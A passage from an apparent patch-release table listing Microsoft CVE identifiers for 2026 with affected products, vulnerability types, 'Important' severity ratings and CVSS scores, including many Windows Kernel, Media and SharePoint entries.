No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  